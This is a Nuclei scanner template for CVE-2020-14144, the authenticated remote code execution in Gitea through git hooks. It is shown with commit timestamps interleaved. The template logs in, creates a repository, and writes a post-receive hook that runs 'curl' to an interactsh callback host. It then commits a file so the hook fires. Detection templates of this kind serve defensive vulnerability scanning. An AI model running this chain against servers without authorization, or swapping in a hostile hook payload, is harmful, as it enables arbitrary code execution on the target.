nuclei-templates/http/cves/2020/CVE-2020-14144.yaml

106 lines
3.5 KiB
YAML
Raw Normal View History

2023-03-18 22:07:09 +00:00
id: CVE-2020-14144
info:
name: Gitea 1.1.0 - 1.12.5 - Remote Code Execution
2023-03-18 22:07:09 +00:00
author: theamanrawat
severity: high
description: |
Gitea 1.1.0 through 1.12.5 is susceptible to authenticated remote code execution, via the git hook functionality, in customer environments where the documentation is not understood (e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the ENABLE_GIT_HOOKS line in the config file). NOTE: The vendor has indicated this is not a vulnerability and states "This is a functionality of the software that is limited to a subset of accounts. If you give someone the privilege to execute arbitrary code on your server, they can execute arbitrary code on your server. We provide very clear warnings to users around this functionality and what it provides."
2023-03-18 22:07:09 +00:00
reference:
- https://dl.gitea.io/gitea/1.16.6
- https://github.com/go-gitea/gitea/pull/13058
- https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1125-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
- https://nvd.nist.gov/vuln/detail/CVE-2020-14144
remediation: Fixed in version 1.16.7.
2023-03-18 22:07:09 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2020-14144
cwe-id: CWE-78
cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
epss-score: 0.96681
2023-03-18 22:07:09 +00:00
metadata:
max-request: 7
2023-03-18 22:07:09 +00:00
shodan-query: html:"Powered by Gitea Version"
2023-06-04 08:13:42 +00:00
verified: true
2023-03-27 06:26:00 +00:00
tags: cve,cve2020,rce,gitea,authenticated,git
2023-03-18 22:07:09 +00:00
http:
2023-03-18 22:07:09 +00:00
- raw:
- |
GET /user/login HTTP/1.1
Host: {{Hostname}}
- |
POST /user/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
- |
GET /repo/create HTTP/1.1
Host: {{Hostname}}
- |
POST /repo/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{auth_csrf}}&uid=1&repo_name={{randstr}}&private=on&description=&repo_template=&issue_labels=&gitignores=&license=&readme=Default&auto_init=on&default_branch=master
- |
POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}
- |
GET /{{username}}/{{randstr}}/_new/master HTTP/1.1
Host: {{Hostname}}
- |
POST /{{username}}/{{randstr}}/_new/master HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body_1
words:
- "Gitea:"
extractors:
- type: regex
name: csrf
group: 1
regex:
- 'name="_csrf" value="(.*)"'
internal: true
- type: regex
name: auth_csrf
group: 1
regex:
- 'name="_csrf" content="(.*)"'
internal: true
- type: regex
name: last_commit
group: 1
regex:
- 'name="last_commit" value="(.*)"'
internal: true
# Enhanced by md on 2023/03/28